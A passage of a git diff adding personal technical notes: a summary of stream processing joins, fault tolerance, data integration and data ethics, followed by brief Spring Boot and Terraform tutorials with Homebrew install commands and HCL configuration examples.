are in common use: +* Tumbling window: Fixed length. If you have a 1-minute tumbling window, all events between 10:03:00 and 10:03:59 will be grouped in one window, next window would be 10:04:00-10:04:59 +* Hopping window: Fixed length, but allows windows to overlap in order to provide some smoothing. If you have a 5-minute window with a hop size of 1 minute, it would contain the events between 10:03:00 and 10:07:59, next window would cover 10:04:00-10:08:59 +* Sliding window: Events that occur within some interval of each other. For example, a 5-minute sliding window would cover 10:03:39 and 10:08:12 because they are less than 4 minutes apart. +* Session window: No fixed duration. All events for the same user, the window ends when the user has been inactive for some time (30 minutes). Common in website analytics + +The fact that new events can appear anytime on a stream makes joins on stream challenging. + +#### Stream-stream joins + +You want to detect recent trends in searched-for URLs. You log an event containing the query. Someone clicks one of the search results, you log another event recording the click. You need to bring together the events for the search action and the click action. + +For this type of join, a stream processor needs to maintain _state_: All events that occurred in the last hour, indexed by session ID. Whenever a search event or click event occurs, it is added to the appropriate index, and the stream processor also checks the other index to see if another event for the same session ID has already arrived. If there is a matching event, you emit an event saying search result was clicked. + +#### Stream-table joins + +Sometimes know as _enriching_ the activity events with information from the database. + +Imagine two datasets: a set of usr activity events, and a database of user profiles. Activity events include the user ID, and the the resulting stream should have the augmented profile information based upon the user ID. + +The stream process needs to look at one activity event at a time, look up the event's user ID in the database, and add the profile information to the activity event. THe database lookup could be implemented by querying a remote database., however this would be slow and risk overloading the database. + +Another approach is to load a copy of the database into the stream processor so that it can be queried locally without a network round-trip. The stream processor's local copy of the database needs to be kept up to date; this can be solved with change data capture. + +#### Table-table join + +The stream process needs to maintain a database containing the set of followers for each user so it knows which timelines need to be updated when a new tweet arrives. + +#### Time-dependence join + +The previous three types of join require the stream processor to maintain some state. + +If state changes over time, and you join with some state, what point in time do you use for the join? + +If the ordering of events across streams is undetermined, the join becomes nondeterministic. + +This issue is known as _slowly changing dimension_ (SCD), often addressed by using a unique identifier for a particular version of the joined record. For example, we can turn the system deterministic if every time the tax rate changes, it is given a new identifier, and the invoice includes the identifier for the tax rate at the time of sale. But as a consequence makes log compaction impossible. + +#### Fault tolerance + +Batch processing frameworks can tolerate faults fairly easy:if a task in a MapReduce job fails, it can simply be started again on another machine, input files are immutable and the output is written to a separate file. + +Even though restarting tasks means records can be processed multiple times, the visible effect in the output is as if they had only been processed once (_exactly-once-semantics_ or _effectively-once_). + +With stream processing waiting until a tasks if finished before making its output visible is not an option, stream is infinite. + +One solution is to break the stream into small blocks, and treat each block like a minuature batch process (_micro-batching_). This technique is used in Spark Streaming, and the batch size is typically around one second. + +An alternative approach, used in Apache Flint, is to periodically generate rolling checkpoints of state and write them to durable storage. If a stream operator crashes, it can restart from its most recent checkpoint. + +Microbatching and chekpointing approaches provide the same exactly-once semantics as batch processing. However, as soon as output leaves the stream processor, the framework is no longer able to discard the output of a failed batch. + +In order to give appearance of exactly-once processing, things either need to happen atomically or none of must happen. Things should not go out of sync of each other. Distributed transactions and two-phase commit can be used. + +This approach is used in Google Cloud Dataflow and VoltDB, and there are plans to add similar features to Apache Kafka. + +Our goal is to discard the partial output of failed tasks so that they can be safely retired without taking effect twice. Distributed transactions are one way of achieving that goal, but another way is to rely on _idempotence_. + +An idempotent operation is one that you can perform multiple times, and it has the same effect as if you performed it only once. + +Even if an operation is not naturally idempotent, it can often be made idempotent with a bit of extra metadata. You can tell whether an update has already been applied. + +Idempotent operations can be an effective way of achieving exactly-once semantics with only a small overhead. + +Any stream process that requires state must ensure that this state can be recovered after a failure. + +One option is to keep the state in a remote datastore and replicate it, but it is slow. + +An alternative is to keep state local to the stream processor and replicate it periodically. + +Flink periodically captures snapshots and writes them to durable storage such as HDFS; Samza and Kafka Streams replicate state changes by sending them to a dedicated Kafka topic with log compaction. VoltDB replicates state by redundantly processing each input message on several nodes. + +## The future of data systems + +### Data integration + +Updating a derived data system based on an event log can often be made determinisitic and idempotent. + +Distributed transactions decide on an ordering of writes by using locks for mutual exclusion, while CDC and event sourcing use a log for ordering. Distributed transactions use atomic commit to ensure exactly once semantics, while log-based systems are based on deterministic retry and idempotence. + +Transaction systems provide linearizability, useful guarantees as reading your own writes. On the other hand, derived systems are often updated asynchronously, so they do not by default offer the same timing guarantees. + +In the absence of widespread support for a good distributed transaction protocol, log-based derived data is the most promising approach for integrating different data systems. + +However, as systems are scaled towards bigger and more coplex workloads, limitations emerge: +* Constructing a totally ordered log requires all events to pass through a _single leader node_ that decides on the ordering. +* An undefined ordering of events that originate on multiple datacenters. +* When two events originate in different services, there is no defined order for those events. +* Some applications maintain client-side state. Clients and servers are very likely to see events in different orders. + +Deciding on a total order of events is known as _total order broadcast_, which is equivalent to consensus. It is still an open research problem to design consensus algorithms that can scale beyond the throughput of a single node. + +#### Batch and stream processing + +The fundamental difference between batch processors and batch processes is that the stream processors operate on unbounded datasets whereas batch processes inputs are of a known finite size. + +Spark performs stream processing on top of batch processing. Apache Flink performs batch processing in top of stream processing. + +Batch processing has a quite strong functional flavour. The output depends only on the input, there are no side-effects. Stream processing is similar but it allows managed, fault-tolerant state. + +Derived data systems could be maintained synchronously. However, asynchrony is what makes systems based on event logs robust: it allows a fault in one part of the system to be contained locally. + +Stream processing allows changes in the input to be reflected in derived views with low delay, whereas batch processing allows large amounts of accumulated historical data to be reprocessed in order to derive new views onto an existing dataset. + +Derived views allow _gradual_ evolution. to restructure a dataset, you do not need to perform the migration as a sudden switch. Instead, you can maintain the old schema and the new schema side by side as two independent derived views onto the same underlying data, eventually you can drop the old view. + +#### Lambda architecture + +The whole idea behind lambda architecture is that incoming data should be recorded by appending immutable events to an always-growing dataset, similarly to event sourcing. From these events, read-optimised vuews are derived. Lambda architecture proposes running two different systems in parallel: a batch processing system such as Hadoop MapReduce, and a stream-processing system as Storm. + +The stream processor produces an approximate update to the view: the batch processor produces a corrected version of the derived view. + +The stream process can use fast approximation algorithms while the batch process uses slower exact algorithms. + +### Unbundling databases + +#### Creating an index + +Batch and stream processors are like elaborate implementations of triggers, stored procedures, and materialised view maintenance routines. The derived data systems they maintain are like different index types. + +There are two avenues by which different storate and processing tools can nevertheless be composed into a cohesive system: +* Federated databases: unifying reads. It is possible to provide a unified query interface to a wide variety of underlying storate engines and processing methods, this is known as _federated database_ or _polystore_. An example is PostgreSQL's _foreign data wrapper_. +* Unbundled databases: unifying writes. When we compose several storage systems, we need to ensure that all data changes end up in all the right places, even in the face of faults, it is like _unbundling_ a database's index-maintenance features in a way that can synchronise writes across disparate technologies. + +Keeping the writes to several storage systems in sync is the harder engineering problem. + +Synchronising writes requires distributed transactions across heterogeneous storage systems which may be the wrong solution. An asynchronous event log with idempotent writes is a much more robust and practical approach. + +The big advantage is _loose coupling_ between various components: +1. Asynchronous event streams make the system as a whole more robust to outages or performance degradation of individual components. +2. Unbundling data systems allows different software components and services to be developed, improved and maintained independently from each other by different teams. + +If there is a single technology that does everything you need, you're most likely best off simply using that product rather than trying to reimplement it yourself from lower-level components. The advantages of unbundling and composition only come into the picture when there is no single piece of software that satisfies all your requirements. + +#### Separation of application code and state + +It makes sense to have some parts of a system that specialise in durable data storage, and other parts that specialise in running application code. The two can interact while still remaining independent. + +The trend has been to keep stateless application logic separate from state management (databases): not putting application logic in the database and not putting persistent state in the application. + +#### Dataflow, interplay between state changes and application code + +Instead of treating the database as a passive variable that is manipulated by the application, application code responds to state changes in one place by triggering state changes in another place. + +#### Stream processors and services + +A customer is purchasing an item that is priced in one currency but paid in another currency. In order to perform the currency conversion, you need to know the current exchange rate. + +This could be implemented in two ways: +* Microservices approach, the code that processes the purchase would probably wuery an exchange-rate service or a database in order to obtain the current rate for a particular currency. +* Dataflow approach, the code that processes purchases would subscribe to a stream of exchange rate updates ahead of time, and record the current rate in a local database whenever it changes. When it comes to processing the purchase, it only needs to query the local database. + +The dataflow is not only faster, but it is also more robust to the failure of another service. + +#### Observing derived state + +##### Materialised views and caching + +A full-text search index is a good example: the write path updates the index, and the read path searches the index for keywords. + +If you don't have an index, a search query would have to scan over all documents, which is very expensive. No index means less work on the write path (no index to update), but a lot more work on the read path. + +Another option would be to precompute the search results for only a fixed set of the most common queries. The uncommon queries can still be served from the inxed. This is what we call a _cache_ although it could also be called a materialised view. + +##### Read are events too + +It is also possible to represent read requests as streams of events, and send both the read events and write events through a stream processor; the processor responds to read events by emitting the result of the read to an output stream. + +It would allow you to reconstruct what the user saw before they made a particular decision. + +Enables better tracking of casual dependencies. + +### Aiming for correctness + +If your application can tolerate occasionally corrupting or losing data in unpredictable ways, life is a lot simpler. If you need stronger assurances of correctness, the serializability and atomic commit are established approaches. + +While traditional transaction approach is not going away, there are some ways of thinking about correctness in the context of dataflow architectures. + +#### The end-to-end argument for databases + +Bugs occur, and people make mistakes. Favour of immutable and append-only data, because it is easier to recover from such mistakes. + +We've seen the idea of _exactly-once_ (or _effectively-once_) semantics. If something goes wrong while processing a message, you can either give up or try again. If you try again, there is the risk that it actually succeeded the first time, the message ends up being processed twice. + +_Exactly-once_ means arranging the computation such that the final effect is the same as if no faults had occurred. + +One of the most effective approaches is to make the operation _idempotent_, to ensure that it has the same effect, no matter whether it is executed once or multiple times. Idempotence requires some effort and care: you may need to maintain some additional metadata (operation IDs), and ensure fencing when failing over from one node to another. + +Two-phase commit unfortunately is not sufficient to ensure that the transaction will only be executed once. + +You need to consider _end-to-end_ flow of the request. + +You can generate a unique identifier for an operation (such as a UUID) and include it as a hidden form field in the client application, or calculate a hash of all the relevant form fields to derive the operation ID. If the web browser submits the POST request twice, the two requests will have the same operation ID. You can then pass that operation ID all the way through to the database and check that you only ever execute one operation with a given ID. You can then save those requests to be processed, uniquely identified by the operation ID. + +Is not enough to prevent a user from submitting a duplicate request if the first one times out. Solving the problem requires an end-to-end solution: a transaction identifier that is passed all the way from the end-user client to the database. + +Low-level reliability mechanisms such as those in TCP, work quite well, and so the remaining higher-level faults occur fairly rarely. + +Transactions have long been seen as a good abstraction, they are useful but not enough. + +It is worth exploring F=fault-tolerance abstractions that make it easy to provide application-specific end-to-end correctness properties, but also maintain good performance and good operational characteristics. + +#### Enforcing constraints + +##### Uniqueness constraints require consensus + +The most common way of achieving consensus is to make a single node the leadder, and put it in charge of making all decisions. If you need to tolerate the leader failing, you're back at the consensus problem again. + +Uniqueness checking can be scaled out by partitioning based on the value that needs to be unique. For example, if you need usernames to be unique, you can partition by hash or username. + +Asynchronous multi-master replication is ruled out as different masters concurrently may accept conflicting writes, so values are no longer unique. to be able to immediately reject any writes that would violate the constraint, synchronous coordination is unavoidable. + +##### Uniqueness in log-based messaging + +A stream processor consumes all the messages in a log partition sequentially on a single thread. A stream processor can unambiguously and deterministically decide which one of several conflicting operations came first. +1. Every request for a username is encoded as a message. +2. A stream processor sequentially reads the requests in the log. For every request for a username that is available, it records the name as taken and emits a success message to an output stream. For every request for a username that is already taken, it emits a rejection message to an output stream. +3. The client waits for a success or rejection message corresponding to its request. + +The approach works not only for uniqueness constraints, but also for many other kinds of constraints. + +##### Multi-partition request processing + +There are potentially three partitions: the one containing the request ID, the one containing the payee account, and one containing the payer account. + +The traditional approach to databases, executing this transaction would require an atomic commit across all three partitions. + +Equivalent correctness can be achieved with partitioned logs, and without an atomic commit. + +1. The request to transfer money from account A to account B is given a unique request ID by the client, and appended to a log partition based on the request ID. +2. A stream processor reads the log of requests. For each request message it emits two messages to output streams: a debit instruction to the payer account A (partitioned by A), and a credit instruction to the payee account B (partitioned by B). The original request ID is included in those emitted messages. +3. Further processors consume the streams of credit and debit instructions, deduplicate by request ID, and apply the changes to the account balances. + +#### Timeliness and integrity + +Consumers of a log are asynchronous by design, so a sender does not wait until its message has been processed by consumers. However, it is possible for a client to wait for a message to appear on an output stream. + +_Consistency_ conflates two different requirements: +* Timeliness: users observe the system in an up-to-date state. +* Integrity: Means absence of corruption. No data loss, no contradictory or false data. The derivation must be correct. + +Violations of timeless are "eventual consistency" whereas violations of integrity are "perpetual inconsistency". + +#### Correctness and dataflow systems + +When processing event streams asynchronously, there is no guarantee of timeliness, unless you explicitly build consumers that wait for a message to arrive before returning. But integrity is in fact central to streaming systems. + +_Exactly-once_ or _effectively-once_ semantics is a mechanism for preserving integrity. Fault-tolerant message delivery and duplicate suppression are important for maintaining the integrity of a data system in the face of faults. + +Stream processing systems can preserve integrity without requiring distributed transactions and an atomic commit protocol, which means they can potentially achieve comparable correctness with much better performance and operational robustness. Integrity can be achieved through a combination of mechanisms: +* Representing the content of the write operation as a single message, this fits well with event-sourcing +* Deriving all other state updates from that single message using deterministic derivation functions +* Passing a client-generated request ID, enabling end-to-end duplicate suppression and idempotence +* Making messages immutable and allowing derived data to be reprocessed from time to time + +In many businesses contexts, it is actually acceptable to temporarily violate a constraint and fix it up later apologising. The cost of the apology (money or reputation), it is often quite low. + +#### Coordination-avoiding data-systems + +1. Dataflow systems can maintain integrity guarantees on derived data without atomic commit, linearizability, or synchronous cross-partition coordination. +2. Although strict uniqueness constraints require timeliness and coordination, many applications are actually fine with loose constraints than may be temporarily violated and fixed up later. + +Dataflow systems can provide the data management services for many applications without requiring coordination, while still giving strong integrity guarantees. _Coordination-avoiding_ data systems can achieve better performance and fault tolerance than systems that need to perform synchronous coordination. + +#### Trust, but verify + +Checking the integrity of data is know as _auditing_. + +If you want to be sure that your data is still there, you have to actually read it and check. It is important to try restoring from your backups from time to time. Don't just blindly trust that it is working. + +_Self-validating_ or _self-auditing_ systems continually check their own integrity. + +ACID databases has led us toward developing applications on the basis of blindly trusting technology, neglecting any sort of auditability in the process. + +By contrast, event-based systems can provide better auditability (like with event sourcing). + +Cryptographic auditing and integrity checking often relies on _Merkle trees_. Outside of the hype for cryptoccurencies, _certificate transparency_ is a security technology that relies on Merkle trees to check the validity of TLS/SSL certificates. + +### Doing the right thing + +Many datasets are about people: their behaviour, their interests, their identity. We must treat such data with humanity and respect. Users are humans too, and human dignitity is paramount. + +There are guidelines to navigate these issues such as ACM's Software Engineering Code of Ethics and Professional Practice + +It is not sufficient for software engineers to focus exclusively on the technology and ignore its consequences: the ethical responsibility is ours to bear also. + +In countries that respect human rights, the criminal justice system presumes innocence until proven guilty; on the other hand, automated systems can systematically and artbitrarily exclude a person from participating in society without any proof of guilt, and with little chance of appeal. + +If there is a systematic bias in the input to an algorithm, the system will most likely learn and amplify bias in its output. + +It seems ridiculous to believe that an algorithm could somehow take biased data as input and produce fair and impartial output from it. Yet this believe often seems to be implied by proponents of data-driven decision making. + +If we want the future to be better than the past, moral imagination is required, and that's something only humans can provide. Data and models should be our tools, not our masters. + +If a human makes a mistake, they can be held accountable. Algorithms make mistakes too, but who is accountable if they go wrong? + +A credit score summarises "How did you behave in the past?" whereas predictive analytics usually work on the basis of "Who is similar to you, and how did people like you behave in the past?" Drawing parallels to others' behaviour implies stereotyping people. + +We will also need to figure outhow to prevent data being used to harm people, and realise its positive potential instead, this power could be used to focus aid an support to help people who most need it. + +When services become good at predicting what content users want to se, they may end up showing people only opinions they already agree with, leading to echo chambers in which stereotypes, misinformation and polaristaion can breed. + +Many consequences can be predicted by thinking about the entire system (not just the computerised parts), an approach known as _systems thinking_. + +#### Privacy and tracking + +When a system only stores data that a user has explicitly entered, because they want the system to store and process it in a certain way, the system is performing a service for the user: the user is the customer. + +But when a user's activity is tracked and logged as a side effect of other things they are doing, the relationship is less clear. The service no longer just does what the users tells it to do, but it takes on interests of its own, which may conflict with the user's interest. + +If the service is funded through advertising, the advertirsers are the actual customers, and the users' interests take second place. + +The user is given a free service and is coaxed into engaging with it as much as possible. The tracking of the user serves the needs of the advertirses who are funding the service. This is basically _surveillance_. + +As a thought experiment, try replacing the word _data_ with _surveillance_. + +Even themost totalitarian and repressive regimes could only dream of putting a microphone in every room and forcing every person to constantly carry a device capable of tracking their location and movements. Yet we apparently voluntarily, even enthusiastically, throw ourselves into this world of total surveillance. The difference is just that the data is being collected by corporations rather than government agencies. + +Perhaps you feel you have nothing to hide, you are totally in line with existing power structures, you are not a marginalised minority, and you needn't fear persecution. Not everyone is so fortunate. + +Without understanding what happens to their data, users cannot give any meaningful consent. Often, data from one user also says things about other people who are not users of the service and who have not agreed to any terms. + +For a user who does not consent to surveillance, the only real alternative is simply to not user the service. But this choice is not free either: if a service is so popular that it is "regarded by most people as essential for basic social participation", then it is not reasonable to expect people to opt out of this service. Especially when a service has network effects, there is a social cost to people choosing _not_ to use it. + +Declining to use a service due to its tracking of users is only an option for the small number of people who are privileged enough to have the time and knowledge to understand its privacy policy, and who can afford to potentially miss out on social participation or professional opportunities that may have arisen if they ahd participated in the service. For people in a less privileged position, there is no meaningful freedom of choice: surveillance becomes inescapable. + +Having privacy does not mean keeping everything secret; it means having the freedom to choose which things to reveal to whom, what to make public, and what to keep secret. + +Companies that acquire data essentially say "trust us to do the right thing with your data" which means that the right to decide what to reveal and what to keep secret is transferred from the individual to the company. + +Even if the service promises not to sell the data to third parties, it usually grants itself unrestricted rights to process and analyse the data internally, often going much further than what is overtly visible to users. + +If targeted advertising is what pays for a service, then behavioral data about people is the service's core asset. + +When collecting data, we need to consider not just today's political environment, but also future governments too. There is no guarantee that every government elected in the future will respect human rights and civil liberties, so "it is poor civic hygiene to install technologies that could someday facilitate a police state". + +To scrutinise others while avoiding scrutiny oneself is one of the most important forms of power. + +In the industrial revolution tt took a long time before safeguards were established, such as environmental protection regulations, safety protocols for workplaces, outlawing child labor, and health inspections for food. Undoubtedly the cost of doing business increased when factories could no longer dump their waste into rivers, sell tainted foods, or exploit workers. But society as a whole benefited hugely, and few of us would want to return to a time before those regulations. + +We should stop regarding users as metrics to be optimised, and remember that they are humans who deserve respect, dignity, and agency. We should self-regulate our data collection and processing practices in order to establish an maintain the trust of the people who depend on our software. And we should take it upon ourselves to educate end users about how their data is used, rather than keeping them in the dark. + +We should allow each individual to maintain their privacy, their control over their own data, and not steal that control from them through surveillance. + +We should not retain data forever, but purge it as soon as it is no longer needed. diff --git a/_posts/00Basic/AppEng/Spring-Boot.md b/_posts/00Basic/AppEng/Spring-Boot.md new file mode 100644 index 00000000000..bab6f4f721a --- /dev/null +++ b/_posts/00Basic/AppEng/Spring-Boot.md @@ -0,0 +1,60 @@ + + + + + + + + + + +## Spring Boot + +- Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。 +- 该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。 + +- helps you to create stand-alone, production-grade Spring-based applications that you can run. We take an opinionated view of the Spring platform and third-party libraries, so that you can get started with minimum fuss. +- Most Spring Boot applications need very little Spring configuration. + +- use Spring Boot to create Java applications that can be started by using java -jar or more traditional war deployments. +- We also provide a command line tool that runs “spring scripts”. + + +Our primary goals are: +- Provide a radically faster and widely accessible getting-started experience for all Spring development. +- Be opinionated out of the box but get out of the way quickly as requirements start to diverge from the defaults. +- Provide a range of non-functional features that are common to large classes of projects (such as embedded servers, security, metrics, health checks, and externalized configuration). +Absolutely no code generation and no requirement for XML configuration. + + + +--- + + + +### requirement + +```bash +brew install maven + +brew tap spring-io/tap +brew install spring-boot +``` + + + + + + + + + + + + + + + + + +. diff --git a/_posts/00Basic/AppEng/Terraform.md b/_posts/00Basic/AppEng/Terraform.md new file mode 100644 index 00000000000..53a5956f491 --- /dev/null +++ b/_posts/00Basic/AppEng/Terraform.md @@ -0,0 +1,599 @@ + + + + + + + +- [Terraform](#terraform) + - [Basic](#basic) + - [use case](#use-case) + - [Deploy](#deploy) + - [install](#install) + - [alias](#alias) + - [Variables and Outputs](#variables-and-outputs) + - [Input Variables](#input-variables) + - [Arguments](#arguments) + - [Output Values](#output-values) + - [Modules](#modules) + - [局部参数(Local Values)](#局部参数local-values) +- [Template](#template) + - [AWS](#aws) + - [provision an EC2 instance](#provision-an-ec2-instance) + - [GCP](#gcp) + +--- + + +# Terraform + + +--- + +## Basic + +- HashiCorp Terraform is an infrastructure as code tool +- lets you define both cloud and on-prem resources in human-readable configuration files that you can version, reuse, and share. +- use a consistent workflow to safely and efficiently provision and manage your infrastructure throughout its lifecycle. + +![intro-terraform-workflow](https://i.imgur.com/fJFVY3m.jpg) + +- Terraform plugins called providers let Terraform interact with cloud platforms and other services via their application programming interfaces (APIs). + + +- Terraform's configuration language is **declarative** + - it describes the desired end-state for your infrastructure, in contrast to procedural programming languages that require step-by-step instructions to perform tasks. + - Terraform providers automatically calculate dependencies between resources to create or destroy them in the correct order. + + +![assets](https://i.imgur.com/nnjRp1E.png) + + + + +--- + +## use case + +- **Standardize your deployment workflow** + - Terraform's state allows you to track resource changes throughout your deployments. + - compose resources from different providers into reusable Terraform configurations called **modules**, and manage them with a consistent language and workflow. + + + +- The human-readable configuration language helps you write infrastructure code quickly. + + +- You can commit your configurations to version control to safely collaborate on infrastructure. + +- **Multi-Cloud Deployment** + - Terraform can manage infrastructure on multiple cloud platforms. + - Provisioning infrastructure across multiple clouds increases fault-tolerance, allowing for more graceful recovery from cloud provider outages. + - multi-cloud deployments add complexity because each provider has its own interfaces, tools, and workflows. Terraform lets you use the same workflow to manage multiple providers and handle cross-cloud dependencies. This simplifies management and orchestration for large-scale, multi-cloud infrastructures. + + +- **Application Infrastructure Deployment, Scaling, and Monitoring Tools** + - efficiently deploy, release, scale, and monitor infrastructure for multi-tier applications. + - N-tier application architecture lets you scale application components independently and provides a separation of concerns. + - An application could consist of a pool of web servers that use a database tier, with additional tiers for API servers, caching servers, and routing meshes. + - Terraform allows to manage the resources in each tier together, and automatically handles dependencies between tiers. + - For example, Terraform will deploy a database tier before provisioning the web servers that depend on it. + + + +- **Self-Service Clusters** + - centralized operations team may get many repetitive infrastructure requests. + - use Terraform to build a "self-serve" infrastructure model that lets product teams manage their own infrastructure independently. + - create and use Terraform modules that codify the standards for deploying and managing services in your organization, allowing teams to efficiently deploy services in compliance with your organization’s practices. Terraform Cloud can also integrate with ticketing systems like ServiceNow to automatically generate new infrastructure requests. + + +- **Policy Compliance and Management** + - Terraform help enforce policies on the types of resources teams can provision and use. + - Ticket-based review processes are a bottleneck that can slow down development. + - Instead, use Sentinel, a policy-as-code framework, to automatically enforce compliance and governance policies before Terraform makes infrastructure changes. + - Sentinel is available with the Terraform Cloud team and governance tier. + +- **PaaS Application Setup** + - `Platform as a Service (PaaS) vendors` like Heroku allow you to create web applications and attach add-ons, such as databases or email providers. + - Heroku can elastically scale the number of dynos or workers, but most non-trivial applications need many add-ons and external services. + - use Terraform to codify the setup required for a Heroku application, configure a DNSimple to set a CNAME, and set up Cloudflare as a Content Delivery Network (CDN) for the app. Terraform can quickly and consistently do all of this without a web interface. + + + +- **Software Defined Networking** + - Terraform can interact with Software Defined Networks (SDNs) to automatically configure the network according to the needs of the applications running in it. + - move from a ticket-based workflow to an automated one, reducing deployment times. + - For example, + - when a service registers with HashiCorp Consul, Consul-Terraform-Sync can automatically generate Terraform configuration to expose appropriate ports and adjust network settings for any SDN that has an associated Terraform provider. + - Network Infrastructure Automation (NIA) allows you to safely approve the changes that your applications require without having to manually translate tickets from developers into the changes you think their applications need. + + +- **Kubernetes** + - Kubernetes is an open-source workload scheduler for containerized applications. + - Terraform lets you both deploy a Kubernetes cluster and manage its resources (e.g., pods, deployments, services, etc.). + - can also use the Kubernetes Operator for Terraform to manage cloud and on-prem infrastructure through a Kubernetes Custom Resource Definition (CRD) and Terraform Cloud. + + +- **Parallel Environments** + - You may have staging or QA environments that you use to test new applications before releasing them in production. + - As the production environment grows larger and more complex, it can be increasingly difficult to maintain an up-to-date environment for each stage of the development process. + - Terraform lets you rapidly spin up and decommission infrastructure for development, test, QA, and production. + - Using Terraform to create disposable environments as needed is more cost-efficient than maintaining each one indefinitely. + +- **Software Demos** + - use Terraform to create, provision, and bootstrap a demo on various cloud providers. + - This lets end users easily try the software on their own infrastructure and even enables them to adjust parameters like cluster size to more rigorously test tools at any scale. + + +--- + + +## Deploy + +To deploy infrastructure with Terraform: + +- `Scope` - Identify the infrastructure for your project. +- `Author` - Write the configuration for your infrastructure. +- `Initialize` - Install the plugins Terraform needs to manage the infrastructure. +- `Plan` - Preview the changes Terraform will make to match your configuration. +- `Apply` - Make the planned changes. + + +--- + + +### install + +```bash +$ brew tap hashicorp/tap + +$ brew install hashicorp/tap/terraform + +$ brew update + +$ brew upgrade hashicorp/tap/terraform + +$ terraform init +$ terraform apply +$ terraform destroy +``` + +--- + + + +### alias + +- A provider block without an alias argument is the default configuration for that provider. Resources that don't set the provider meta-argument will use the default provider configuration that matches the first word of the resource type name. + + + +**Multiple Provider Configurations** + +```bash +# The default provider configuration; resources that begin with `aws_` will use +# it as the default, and it can be referenced as `aws`. +provider "aws" { + region = "us-east-1" +} + +# Additional provider configuration for west coast region; resources can +# reference this as `aws.west`. +provider "aws" { + alias = "west" + region = "us-west-2" +} + +``` + + +- To declare a configuration alias within a module in order to receive an alternate provider configuration from the parent module, add the configuration_aliases argument to that provider's required_providers entry. The following example declares both the mycloud and mycloud.alternate provider configuration names within the containing module: + +```bash +terraform { + required_providers { + mycloud = { + source = "mycorp/mycloud" + version = "~> 1.0" + configuration_aliases = [ mycloud.alternate ] + } + } +} +``` + + + + +**Selecting Alternate Provider Configurations** + + +```bash + +# To use an alternate provider configuration for a resource or data source, +resource "aws_instance" "foo" { + provider = aws.west + # ... +} + +``` +To select alternate provider configurations for a child module, use its providers meta-argument to specify which provider configurations should be mapped to which local provider names inside the module: +```bash +module "aws_vpc" { + source = "./aws_vpc" + providers = { + aws = aws.west + } +} +``` + + +--- + +## Variables and Outputs + + +- Input variables are like function arguments. +- Output values are like function return values. +- Local values are like a function's temporary local variables. + + + + +--- + +### Input Variables + +- customize aspects of Terraform modules without altering the module's own source code. +- allows you to share modules across different Terraform configurations, making module composable and reusable. + +- declare variables in the `root module` of your configuration, you can set their values using CLI options and environment variables. +- declare them in `child modules`, the calling module should pass values in the `module` block. + +```bash +variable "image_id" { + type = string +} + +variable "availability_zone_names" { + type = list(string) + default = ["us-west-1a"] +} + +variable "docker_ports" { + type = list(object({ + internal = number + external = number + protocol = string + })) + default = [ + { + internal = 8300 + external = 8300 + protocol = "tcp" + } + ] +} + + +``` + +--- + + +#### Arguments + +Terraform CLI defines the following optional arguments for variable declarations: + + +`default` + +- A default value which then makes the variable optional. + +- the default value will be used if no value is set when calling the module or running Terraform. + +- The default argument requires a literal value and cannot reference other objects in the configuration. + +`type` + +- This argument specifies what value types are accepted for the variable. + +`description` + +- This specifies the input variable's documentation. + +`validation` + +- A block to define validation rules, usually in addition to `type` constraints. +- module author can specify arbitrary custom validation rules for a particular variable using a validation block nested within the corresponding variable block: + + +```bash +variable "image_id" { + type = string + description = "The id of the machine image (AMI) to use for the server." + + validation { + condition = length(var.image_id) > 4 && substr(var.image_id, 0, 4) == "ami-" + error_message = "The image_id value must be a valid AMI id, starting with \"ami-\"." + } + + validation { + # regex(...) fails if it cannot find a match + condition = can(regex("^ami-", var.image_id)) + error_message = "The image_id value must be a valid AMI id, starting with \"ami-\"." + } +} +``` + + + +`sensitive` + +- Limits Terraform UI output when the variable is used in configuration. +- Setting a variable as sensitive prevents Terraform from showing its value in the plan or apply output, when you use that variable elsewhere in your configuration. +- Terraform will still record sensitive values in the state, and so anyone who can access the state data will have access to the sensitive values in cleartext. + + + + +`nullable` + +- Specify if the variable can be null within the module. + +--- + + + +### Output Values + +- 在很多时候,我们需要将在云环境上创建的实例某些属性暴露给用户,比如创建的虚拟机需要暴露网卡地址,创建的web server需要暴露访问地址 +- Output Values 可以将实例的属性或者组合的属性暴露给用户,最大程度降低用户访问实例资源的可能。 +- Output可以有很多设置 + - 比如sensitive可以保证输出参数在控制台不可见,但是在模块内部可见。 + - depends_on可以显示指定出参的依赖资源 + + + +举个栗子:我们需要创建一个mysql数据库,用户实际上不需要关心mysql创建的虚拟机是什么,但是用户需要知道mysql虚拟的IP、访问端口等,因此我们通过定义Output来将mysql的相关信息返回 + +```bash +output "mysql_ip" { + value = aws_instance.server.private_ip +} + +output "mysql_port" { + value = var.port +} +# 第一个参数mysql_ip是创建的虚拟机实例的IP地址, +# 第二个参数mysql_port是用户输入或者默认的端口地址 +``` + + + +--- + +### Modules + +- 模块可以包含多个Terraform配置文件(模板) +- 主要是为了方便资源重用、复杂场景模块化需要。 +- 在同一个工作目录内定义一系列.tf文件,来整合一个复杂场景,充分利用一些基础资源等等。 + + + +Modules are containers for multiple resources that are used together. +- A module consists of a collection of `.tf and/or .tf.json` files kept together in a directory. + +- Modules are the main way to package and reuse resource configurations with Terraform. + + +**The Root Module** + +Every Terraform configuration has at least one module, known as its root module, which consists of the resources defined in the .tf files in the main working directory. + + +**Child Modules** + +A Terraform module (usually the root module of a configuration) can call other modules to include their resources into the configuration. A module that has been called by another module is often referred to as a child module. + +Child modules can be called multiple times within the same configuration, and multiple configurations can use the same child module. + +`calling` module: + +```bash +module "servers" { + source = "./app-cluster" + + servers = 5 +} +``` + + +**Published Modules** + +In addition to modules from the local filesystem, Terraform can load modules from a public or private registry. This makes it possible to publish modules for others to use, and to use modules that others have published. + + +--- + + + + + +### 局部参数(Local Values) + +- 局部参数可以在某一个模块内定义 +- 主要用途是方便在同一个模块中多次使用 + - locals 通常在 module 內用於重複使用, + - 常常用來將 variable 的值拿來運算或者特殊處理。 + + +- 一般来说是常量。 + +- Once a local value is declared, you can reference it in expressions as `local.` + +```bash +# A set of related local values can be declared together +locals { + service_name = "forum" + owner = "Community Team" +} + +locals { + # Ids for multiple sets of EC2 instances, merged together + instance_ids = concat(aws_instance.blue.*.id, aws_instance.green.*.id) +} + +locals { + # Common tags to be assigned to all resources + common_tags = { + Service = local.service_name + Owner = local.owner + } +} +``` + + + +1. 多個 variable 一次餵給 resource。 + +```bash +# Define the common tags for all resources +locals { + common_tags = { + Component = "awesome-app" + Environment = "production" + } +} + +# Create a resource that blends the common tags with instance-specific tags. +resource 